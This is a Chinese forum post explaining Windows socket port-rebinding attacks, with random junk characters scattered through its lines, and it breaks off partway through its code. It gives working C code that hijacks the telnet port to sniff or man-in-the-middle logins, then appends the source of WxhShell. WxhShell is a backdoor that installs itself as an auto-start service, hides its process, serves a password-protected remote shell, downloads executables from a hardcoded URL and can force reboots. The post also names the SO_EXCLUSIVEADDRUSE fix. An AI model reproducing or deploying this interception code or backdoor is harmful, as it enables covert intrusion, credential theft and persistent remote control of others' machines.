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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: NXDkGO/*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 6A|XB3  
2Oyw#1tdn  
  saddr.sin_family = AF_INET; ["Tro;K#  
1@|%{c&+9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZU `~@.`i  
BYHyqpP9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4GeN<9~YS  
t%5bDdo  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [e@m -/B  
OI78wG  
  这意味着什么?意味着可以进行如下的攻击: in,0(I&I  
)'e1@CR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wq!9wk9  
$sg-P|Wo  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YWDgRb  
j8bA"r1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VAUd^6Xdwx  
I>vU;xV\m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ggkz fg&  
?m7i7Dz   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2G!z/OAj  
9HiyN>(  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4g}r+!T  
92.Rjz;=9?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &y|PseH"  
8g-Z~~0W1  
  #include v<)&JlR  
  #include "x HK*  
  #include U 0~BcFpD  
  #include    zSk`Ou8M  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %[9ty`UE  
  int main() `k8jFB C  
  { BD}%RTeWKq  
  WORD wVersionRequested; NV?XZ[<*<  
  DWORD ret; S?a4 IK  
  WSADATA wsaData; iC^91!<  
  BOOL val; w`+-xT%  
  SOCKADDR_IN saddr; ?p 4iXHE  
  SOCKADDR_IN scaddr; V>E7!LIn.  
  int err; c93 Ok|  
  SOCKET s; &`vThs[x  
  SOCKET sc; :[f[-F  
  int caddsize; +~o f#  
  HANDLE mt; =3SJl1w1  
  DWORD tid;   HkhZB^_V  
  wVersionRequested = MAKEWORD( 2, 2 ); PNo:vRtsq  
  err = WSAStartup( wVersionRequested, &wsaData ); Y}s6__  
  if ( err != 0 ) { ,L~aa?Nb-  
  printf("error!WSAStartup failed!\n"); 9%3+\[s1  
  return -1; r|\{!;7  
  } K"5q387!  
  saddr.sin_family = AF_INET; 61&{I>~1  
   YRf$?xa  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 +oO7UWs>6  
i^Jw`eAmT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F^%\AA]8  
  saddr.sin_port = htons(23); Fv$w:r]q6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) m$(OQ,E  
  { Mw-L?j0o[k  
  printf("error!socket failed!\n"); *icaKy3  
  return -1; 0+SZ-]  
  } _y>drvg  
  val = TRUE; <|X+T,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5M #',(X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w2/3[VZ}l  
  { )K$xu(/K  
  printf("error!setsockopt failed!\n"); hu"-dT;4]  
  return -1; 1|ddG010  
  } ot! m=s  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .V0fbHYTJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 G?\eO&QG{"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ex*{iJ;\  
mvt-+K?U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _LfbEv<,T  
  { 9,\AAISi  
  ret=GetLastError(); q+<,FdG  
  printf("error!bind failed!\n"); !Icznou\  
  return -1; (Pw,3CbJ  
  } p}/D{|xO  
  listen(s,2); aUc#,t;Qd  
  while(1) "-MB U  
  { O\Z!7UQ$  
  caddsize = sizeof(scaddr); L>E{~yh  
  //接受连接请求 B^zg#x#8  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Lyn{Uag  
  if(sc!=INVALID_SOCKET) P_  8!Gp  
  { Z02EE-A  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); xw_$1 S  
  if(mt==NULL) WJa7  
  { F:jtzy"  
  printf("Thread Creat Failed!\n"); wTZ(vX*mK  
  break; %Ny1H/@Q1+  
  } sMUpkU-  
  } 7F~gA74h  
  CloseHandle(mt); c~OPH 0,  
  } /kRCCs8t}  
  closesocket(s); n6Uf>5  
  WSACleanup();  < ]+Mdy  
  return 0; gp$Rf9\  
  }   xt "-Jmox  
  DWORD WINAPI ClientThread(LPVOID lpParam) u(f;4`  
  { -JPkC(V7]  
  SOCKET ss = (SOCKET)lpParam; c>3? T^=  
  SOCKET sc; 4tUt"N  
  unsigned char buf[4096]; n4 N6]W\5  
  SOCKADDR_IN saddr; ed_+bCNy  
  long num; l7VTuVGUJ  
  DWORD val; q{b-2k  
  DWORD ret; bT T>  
  //如果是隐藏端口应用的话,可以在此处加一些判断 6biR5&Y5U&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8<C@I/  
  saddr.sin_family = AF_INET; $9X?LGUz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v JVh%l+  
  saddr.sin_port = htons(23); .v'`TD).6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NYG!\u\Rm  
  { e 6>j gy  
  printf("error!socket failed!\n"); ^*B@=  
  return -1; ,2^A<IwR  
  } JTBt=u{6^  
  val = 100; <}8G1<QZ'.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) S0:Oep   
  { k&f/f  
  ret = GetLastError(); |#yT]0L%pA  
  return -1; CAom4 Sp'  
  } Y= =5\;-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l.Ev]G/5  
  { .j|uf[?h  
  ret = GetLastError(); /Qef[$!(  
  return -1; .Z"`:4O   
  } 9(z) ^ G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) [E6ceX0  
  { Yjd/  
  printf("error!socket connect failed!\n"); _G.!^+)kEm  
  closesocket(sc); =ePX^J*M'  
  closesocket(ss); N1.1  
  return -1; R-OO1~W=  
  } 8d Fqwpw8  
  while(1) `jTB9A"  
  { S&]r6ss  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ; 8eGf'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^P]5@dv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 pBv,,d`  
  num = recv(ss,buf,4096,0); ^>Z7."uGY  
  if(num>0) N$C+le  
  send(sc,buf,num,0); Eaxsg  
  else if(num==0) }m5()@Q}a  
  break; $9r4MMs{$  
  num = recv(sc,buf,4096,0); L%{YLl-zf]  
  if(num>0) PN<Vqt W  
  send(ss,buf,num,0); EfpMzD7/(  
  else if(num==0) 1=,2i)  
  break; m}oR*<.  
  } GXQ%lQ  
  closesocket(ss); 2  @T~VRy  
  closesocket(sc); R2C~.d_TDu  
  return 0 ; 5VQ-D`kE+  
  } H8dS]N~[Y  
=2NrmwWZs  
W+U0Y,N6  
========================================================== }gt)cOaY  
birc&<  
下边附上一个代码,,WXhSHELL -U A &Zt  
yJ0 %6],^g  
========================================================== B)L0hi  
 (#O"  
#include "stdafx.h" Vky]In=  
V mQ'  
#include <stdio.h> mT UoFXX[  
#include <string.h> &=n/h5e0t&  
#include <windows.h> :&'jh/vRN  
#include <winsock2.h> |pG0 .p4  
#include <winsvc.h> BOcD?rrZ0  
#include <urlmon.h> -KfK~P3PF  
R4JfH  
#pragma comment (lib, "Ws2_32.lib") ElDeXLr'  
#pragma comment (lib, "urlmon.lib") j&Xx{ 4v  
U:3O E97  
#define MAX_USER   100 // 最大客户端连接数 33D2^ Sf6"  
#define BUF_SOCK   200 // sock buffer =mPe wx'  
#define KEY_BUFF   255 // 输入 buffer +r;t]  
tCGx]\  
#define REBOOT     0   // 重启 &k)v/  
#define SHUTDOWN   1   // 关机 5$Kj#9g-#  
M<NY`7$^  
#define DEF_PORT   5000 // 监听端口 o,c}L9nvt  
}S?"mg& V  
#define REG_LEN     16   // 注册表键长度 Z[] 8X@IPe  
#define SVC_LEN     80   // NT服务名长度 / j%~#@  
TecMQ0 KD  
// 从dll定义API |mRlP5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zn&ZXFgN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ePJ_O~c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GbZ~e I`,2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WcY_w`*L  
42 lw>gzr!  
// wxhshell配置信息  zy"k b  
struct WSCFG { YwF&-~mp7n  
  int ws_port;         // 监听端口 yZ)9Hd   
  char ws_passstr[REG_LEN]; // 口令 aT}Hc5L,b  
  int ws_autoins;       // 安装标记, 1=yes 0=no !vpXXI4  
  char ws_regname[REG_LEN]; // 注册表键名 (jj`}Qe3U  
  char ws_svcname[REG_LEN]; // 服务名 <Z.{q Zd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !QbuOvw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t1J3'lS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i\b^}m8c.N  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8Yf*vp>T/x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (s&]V49  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OPjNmdeS  
}79jyS-e  
}; 2\z|/ Q  
Y_jc*S  
// default Wxhshell configuration b)e;Q5Z(.  
struct WSCFG wscfg={DEF_PORT, _kMHF  
    "xuhuanlingzhe", YVgH[-`,  
    1, ry=8Oq&[~  
    "Wxhshell", L*,h=#x(  
    "Wxhshell", S1Od&v[R  
            "WxhShell Service", /^k%sG@?  
    "Wrsky Windows CmdShell Service", A/UOcl+N  
    "Please Input Your Password: ", V]+y*b.60  
  1, Y~{<Hs  
  "http://www.wrsky.com/wxhshell.exe", & /T}  
  "Wxhshell.exe" m;>G]Sbe  
    }; "!AtS  
=SeQ- H#  
// 消息定义模块 qGMU>J.;c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xa#.GrH6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AH/o-$C&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UQ;2g\([  
char *msg_ws_ext="\n\rExit."; Ay 4P_>^  
char *msg_ws_end="\n\rQuit."; !m9hL>5vR  
char *msg_ws_boot="\n\rReboot..."; rEC  
char *msg_ws_poff="\n\rShutdown..."; ;|?_C8  
char *msg_ws_down="\n\rSave to "; @{_X@Wv4iV  
AzZhIhWl">  
char *msg_ws_err="\n\rErr!"; :Rv+Bm  
char *msg_ws_ok="\n\rOK!"; D]}~`SO  
^gp]tAf  
char ExeFile[MAX_PATH]; |nnFjGC`~  
int nUser = 0; `L7^f!  
HANDLE handles[MAX_USER]; \zFCph4  
int OsIsNt; pL;e(lM  
~?fl8RF\  
SERVICE_STATUS       serviceStatus; j$/#2%OVN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $t}W,?   
(}>)X]  
// 函数声明 <8kCmuGlk  
int Install(void); LA lX |b  
int Uninstall(void); >Ovz;  
int DownloadFile(char *sURL, SOCKET wsh); 26k~Z}  
int Boot(int flag); B; NK\5>  
void HideProc(void); }s@IQay+  
int GetOsVer(void); *C+[I  
int Wxhshell(SOCKET wsl); =>3,]hnep  
void TalkWithClient(void *cs); gzSm=6Qw0  
int CmdShell(SOCKET sock); Q%?%zuU  
int StartFromService(void); p!=8Pq.  
int StartWxhshell(LPSTR lpCmdLine); t1mG]  
[hg9 0Q6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Kg>B$fBx)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); tKLeq(  
MnF|'t  
// 数据结构和表定义 ILH[q>  
SERVICE_TABLE_ENTRY DispatchTable[] = 5EI"5&`*  
{ mk!8>XvM  
{wscfg.ws_svcname, NTServiceMain}, w42{)S"  
{NULL, NULL} SC4jKm2  
}; sH2xkUp  
XP%_|Q2X  
// 自我安装 sn^ 3xAF  
int Install(void) .|07IH/Di{  
{ VWK/(>TP  
  char svExeFile[MAX_PATH]; Ank_;jo  
  HKEY key; dz/fSA  
  strcpy(svExeFile,ExeFile); kv2o.q  
{fl[BX]kZ  
// 如果是win9x系统,修改注册表设为自启动 \I4Uj.'> \  
if(!OsIsNt) { W?E,"z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CPcUB4a%#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %@)q=*=y  
  RegCloseKey(key); ONcLhwH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }b}jw.2Wu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \_R<Q?D+  
  RegCloseKey(key); aBY&]6^-  
  return 0; k{F6WQ7  
    } StTxga|  
  } AI{0;0  
} $E^sA|KcT  
else { rDoMz3[w  
-]u>kjiIT  
// 如果是NT以上系统,安装为系统服务 is^R8a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); y&8`NS#_p?  
if (schSCManager!=0) -@#],s7  
{ xy!E_CuC$  
  SC_HANDLE schService = CreateService v< 2,OcH  
  ( V?x&\<;,  
  schSCManager, A&v Qtd  
  wscfg.ws_svcname, Bd=K40Z:  
  wscfg.ws_svcdisp, (,+#H]L  
  SERVICE_ALL_ACCESS, |P|2E~[r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~~k0&mK|Q  
  SERVICE_AUTO_START, Sw-2vnSdM  
  SERVICE_ERROR_NORMAL, Z> Rshtg  
  svExeFile, %Y'/_ esH2  
  NULL, q8/k $5E  
  NULL, [kr-gV  
  NULL, ebCS4&c  
  NULL, #EE<MKka  
  NULL 'w72i/  
  ); 1'TS!/ll];  
  if (schService!=0) tq'hiS(b  
  { s!D2s2b9e  
  CloseServiceHandle(schService); fQ!W)>mi  
  CloseServiceHandle(schSCManager); u0oTqD?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bZfq?   
  strcat(svExeFile,wscfg.ws_svcname); 4,X CbcC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G^SJhdO(Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _]Ob)RUVH  
  RegCloseKey(key); qyKR]%yzi  
  return 0; =+DhLH}8  
    } nC??exc  
  } eUCBQK  
  CloseServiceHandle(schSCManager);  oSy9Xw  
}  Q$`uZ  
} BSd.7W;cS=  
MzKl=G  
return 1; 4A(h'(^7A  
} Tw` dLK?  
5-({z%:P  
// 自我卸载 a+k3wzJ  
int Uninstall(void) ..'"kX:5  
{ $;=?[Cn  
  HKEY key; k6z]"[yu  
Zn)o@'{}{  
if(!OsIsNt) { -}oH],C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J n2QvUAZ&  
  RegDeleteValue(key,wscfg.ws_regname); \' A- Lp  
  RegCloseKey(key); j%]sym  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Rh ]XJM  
  RegDeleteValue(key,wscfg.ws_regname); Qu8=zI>t  
  RegCloseKey(key); ZDI?"dt{  
  return 0; ){,M v:#+T  
  } w}$;2g0=a<  
} ?/sn"~"  
} >z fx2wh\a  
else { A8S9HXL  
8$iHd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |{ZdAr.;  
if (schSCManager!=0) x*TJYST  
{ ScVbo3{m*T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); j!k$SDA-  
  if (schService!=0) Nqd9)WQ  
  { Z]k@pR !  
  if(DeleteService(schService)!=0) { !a!4^zqp  
  CloseServiceHandle(schService); {dE(.Z?]!#  
  CloseServiceHandle(schSCManager); PGYx] r  
  return 0; pTTM(Hrx  
  } $X\2h+ Os  
  CloseServiceHandle(schService); zO$r   
  } {o*$|4q4  
  CloseServiceHandle(schSCManager); > MRuoJ  
} r_tt~|s,>  
} 4sH?85=j  
<KCyXU*  
return 1; ubVZEsoW?  
} M5_ t#[ [  
i 2uSPV!Tf  
// 从指定url下载文件 P;'ZdZ(SLu  
int DownloadFile(char *sURL, SOCKET wsh) u:l<NWF^  
{ RwrRN+&s\  
  HRESULT hr; z?|bs?HKS  
char seps[]= "/"; _;S~nn  
char *token; .i|nn[H &  
char *file; <~_XT>`y  
char myURL[MAX_PATH]; z_{_wAuY  
char myFILE[MAX_PATH]; e?O$`lf  
%i?v)EW  
strcpy(myURL,sURL); gCVOm-*:  
  token=strtok(myURL,seps); $cm 9xW&  
  while(token!=NULL) m&(qr5>b  
  { v|]"uPxH?  
    file=token; n8T'}d+mm  
  token=strtok(NULL,seps); q3K}2g  
  } mC(YO y  
]\}MSo3  
GetCurrentDirectory(MAX_PATH,myFILE); A =&`TfXu  
strcat(myFILE, "\\"); -'*<;]P+.  
strcat(myFILE, file); 01RW|rN  
  send(wsh,myFILE,strlen(myFILE),0); H}CmSo8&  
send(wsh,"...",3,0); q68m*1?y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7<B-2g  
  if(hr==S_OK) d:_;  
return 0; d1 kE)R  
else ~>~qA0m"m  
return 1; f3>DmH#  
U. $Th_  
} Y5"HKW^  
S>j.i  
// 系统电源模块 R)isWw4  
int Boot(int flag) 6P,uy;PJ  
{ N:+d=G`x  
  HANDLE hToken; `YMd0*  
  TOKEN_PRIVILEGES tkp; JZ:yPvJ  
GWWaH+F[h  
  if(OsIsNt) { H(M{hfa|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :Y9/} b{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IAe/)  
    tkp.PrivilegeCount = 1; qss )5a/x.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $ye>;Ek  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :l iDoGDi  
if(flag==REBOOT) { &rX#A@=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C[#C/@  
  return 0; dq'f >S z}  
} 3Z#WAhfS:  
else { ?*7Mn`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -g|ji.  
  return 0; WA:r4V  
} fd>&RbUp  
  } yg~@} _C2_  
  else { n;>=QG -v  
if(flag==REBOOT) { QH,(iX6RY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N0NFgW;  
  return 0; YB2gxZ  
} x#R6Ez7  
else { ?0+g.,9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e :C4f  
  return 0; nf1 `)tXG  
} P$*Ngt  
} \ a(ce?C  
B_b5&M@  
return 1; [8[<4~{  
} Y#=MN~##t  
T5.^ w  
// win9x进程隐藏模块 m&'!^{av  
void HideProc(void) ,j.bdlI#  
{ jcBZ#|B7;  
n5IQKYr g  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DGS,iRLnA  
  if ( hKernel != NULL ) qE]e+S?57a  
  { $z 5kA9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~#}T|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b`=g#B|  
    FreeLibrary(hKernel); 6qT-  
  } rK:cUW0]X  
y=EVpd  
return; UEfY'%x  
} X|ZAC!J5>  
=_ b/ g  
// 获取操作系统版本 jF/S2Ty2  
int GetOsVer(void) #k`gm)|  
{ ~<s =yjTu+  
  OSVERSIONINFO winfo; P~iZae  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TOS'|xQ  
  GetVersionEx(&winfo); +"=ydF.9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S9r+Nsn  
  return 1; PB8g4-?p6  
  else )4c?BCgy  
  return 0; R:R<Xt N`5  
} CgYX^h?Y9  
WW &Wh<4  
// 客户端句柄模块 X;l/D},.  
int Wxhshell(SOCKET wsl) kLU-4W5t  
{ DrC"M*$!  
  SOCKET wsh; yBIX<P)vE'  
  struct sockaddr_in client; yTZ o4c "  
  DWORD myID; 0(:SEiz6s  
zR]!g|;f  
  while(nUser<MAX_USER) aW{5m@p{"  
{ x-%RRm<V  
  int nSize=sizeof(client); >!a- "  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d%-/U!z?  
  if(wsh==INVALID_SOCKET) return 1; %d(= >  
8"ZS|^#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .5}Gt>4XM  
if(handles[nUser]==0) \x]\W#C  
  closesocket(wsh);  P Je_qP  
else L G5_\sY!  
  nUser++; Vp|?R65S*  
  } n\JI7A}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,-8 -Y>[  
5I^;v;F  
  return 0; `M 'tuQ M  
} ~ A=Gra  
@7C.0>W_A  
// 关闭 socket =y)K er  
void CloseIt(SOCKET wsh) x|G :;{"+6  
{ 1;V_E2?V  
closesocket(wsh); @DY"~c cH  
nUser--; QKlsBq  
ExitThread(0); f86Z #%  
} >][D"  
cBZEyy&  
// 客户端请求句柄 !Hl]&  
void TalkWithClient(void *cs) l!&ik9m  
{ ih^FH>@  
xy"'8uRi  
  SOCKET wsh=(SOCKET)cs; $/;K<*O$  
  char pwd[SVC_LEN]; Yv@n$W`:  
  char cmd[KEY_BUFF]; WQ% O/  
char chr[1]; #vga qe9  
int i,j; OWT%XUW=  
q` IY;"~  
  while (nUser < MAX_USER) { "`4ky ]  
Rb& 9!z  
if(wscfg.ws_passstr) { z8JW iRn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F@f4-NR>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  -D'XxOI  
  //ZeroMemory(pwd,KEY_BUFF); F4= =a8  
      i=0; f(~N+2}  
  while(i<SVC_LEN) { X~D[CwA|`  
$8%"bR;Hu  
  // 设置超时 NjOUe?BQ  
  fd_set FdRead; R]&Csr#~  
  struct timeval TimeOut; e(|Z<6  
  FD_ZERO(&FdRead); -bHlFNRm  
  FD_SET(wsh,&FdRead); /(51\RYkir  
  TimeOut.tv_sec=8; 'hs4k|B  
  TimeOut.tv_usec=0; aK@ Y) Ju'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t(uvc{K *  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }^&f {   
PgT8 1u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QRf>lZP  
  pwd=chr[0]; '6&o:t  
  if(chr[0]==0xd || chr[0]==0xa) { Bps%>P~.  
  pwd=0; a{hc{  
  break; Hxgc9Fis  
  } BO G.[?yx  
  i++; _avf%OS  
    } |. 0~'  
%\T,=9tD\  
  // 如果是非法用户,关闭 socket K3[+L`pz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~h;   
} 4dPTrBQ?  
@=dv[P" jn  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x0(bM g>7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2(@2 z[eKr  
xwof[BnEZ  
while(1) { 6{1=3.CL  
{>msE }L  
  ZeroMemory(cmd,KEY_BUFF); ; /K6U  
#YE?&5t  
      // 自动支持客户端 telnet标准   I@/ G#3Zr  
  j=0; A`f"<W-m  
  while(j<KEY_BUFF) { 8TeOh 1\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,mp<<%{u  
  cmd[j]=chr[0]; /[FDiJH2  
  if(chr[0]==0xa || chr[0]==0xd) { Zdqm|_R[  
  cmd[j]=0; "j,vlG  
  break; J~]@#=,v  
  } ^?+[yvq  
  j++; P{6$".kIY  
    } Rq5'=L  
s~A-qG>  
  // 下载文件 Lxv4w  
  if(strstr(cmd,"http://")) { U\?D;ABQ%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 49&i];:%7%  
  if(DownloadFile(cmd,wsh)) S1U0sP@o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (!5Ta7X  
  else JpC=ACF  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TsK!36cg  
  } [-_{3qq<e  
  else { =IsmPQKi  
nWIZ0Nde'  
    switch(cmd[0]) { rtJER?A  
  Y|fD)zG_  
  // 帮助 w_Slg&S  
  case '?': { )0exGx+:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -|#{V.G3'  
    break; ZPG,o5`%  
  } K_)~&Cu*'  
  // 安装 qs ep9z.  
  case 'i': { VRQ`-#  
    if(Install()) c.IUqin  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); znsQ/[  
    else {f #QZS!E  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I$t8Ko._"  
    break; AF{uFna  
    } <.n,:ir  
  // 卸载 D:U6r^c  
  case 'r': { rC^ 5Z  
    if(Uninstall()) <}{<FXk[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )-)rL@s.  
    else MOaI~xZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iF^qbh%%E  
    break; ^:{8z;w!(  
    } yogavCD9b/  
  // 显示 wxhshell 所在路径 \(i'iC  
  case 'p': { 0NU%z.(%s  
    char svExeFile[MAX_PATH]; QX<n^W  
    strcpy(svExeFile,"\n\r"); .Q!d[vL  
      strcat(svExeFile,ExeFile); 0>BxS9?w  
        send(wsh,svExeFile,strlen(svExeFile),0); y2_rm   
    break; @^UgdD,BS,  
    } mcd{:/^?  
  // 重启 wG[n wt0L  
  case 'b': { 8j#S+=l>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1DB{"8ov  
    if(Boot(REBOOT)) V ,p~,rC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Qx?)(@  
    else { U3a2wK  
    closesocket(wsh); q8d](MaX  
    ExitThread(0); Ow/,pC >V  
    } +fXwbZ?p  
    break; f-|?He4O]  
    } }g/u.@E  
  // 关机 4)w,gp  
